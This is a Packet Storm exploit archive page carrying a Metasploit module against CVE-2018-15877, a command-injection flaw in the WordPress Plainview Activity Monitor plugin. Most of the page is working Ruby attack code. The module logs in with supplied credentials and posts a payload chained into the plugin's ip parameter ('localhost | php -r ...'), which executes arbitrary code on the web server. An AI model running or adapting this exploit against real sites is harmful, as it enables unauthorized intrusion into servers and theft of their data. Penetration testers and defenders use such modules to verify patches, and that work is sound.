exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Plainview Activity Monitor 20161228 Remote Command Execution

WordPress Plainview Activity Monitor 20161228 Remote Command Execution
Posted Nov 29, 2019
Authored by Leo LE BOUTER | Site metasploit.com

WordPress Plainview Activity Monitor plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on the underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability. Vulnerable plugin version: 20161228 and possibly prior. Fixed plugin version: 20180826.

tags | exploit, php
advisories | CVE-2018-15877
SHA-256 | 7ec3e2886cfeb10934e1758d21c4a3b07426bc1755426426441b88d92cfd7024

WordPress Plainview Activity Monitor 20161228 Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient

Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Plainview Activity Monitor RCE',
'Description' => %q{
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability.

Vulnerable plugin version: 20161228 and possibly prior
Fixed plugin version: 20180826
},
'Author' =>
[
'LydA(c)ric LEFEBVRE', # Vulnerability discovery
'Leo LE BOUTER', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-15877' ],
[ 'EDB', '45274' ],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => '&>\'',
},
'Targets' => [['WordPress', {}]],
'DisclosureDate' => 'Aug 26 2018'
))

register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as"]),
OptString.new('PASSWORD', [ true, "The password to authenticate with" ])
])

register_advanced_options(
[
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
])
end

def check
unless wordpress_and_online?
vprint_error("#{target_uri} does not seeem to be Wordpress site")
return CheckCode::Unknown
end
check_plugin_version_from_readme('plainview-activity-monitor', '20180826')
end

def exploit
check_code = check
unless check_code == CheckCode::Detected || check_code == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

user = datastore['USERNAME']
password = datastore['PASSWORD']

print_status("Trying to login...")
cookie = wordpress_login(user, password)
if cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_good("Login Successful")
store_valid_credential(user: user, private: password, proof: cookie)

uri = normalize_uri(target_uri.path, 'wp-admin/admin.php')

vars_get = {
'page' => 'plainview_activity_monitor',
'tab' => 'activity_tools'
}

vars_post = {
'ip' => "localhost | php -r '#{payload.encoded}'",
'lookup' => 'Lookup',
'submit' => 'Submit request'
}

send_request_cgi(
'method' => 'POST',
'cookie' => cookie,
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close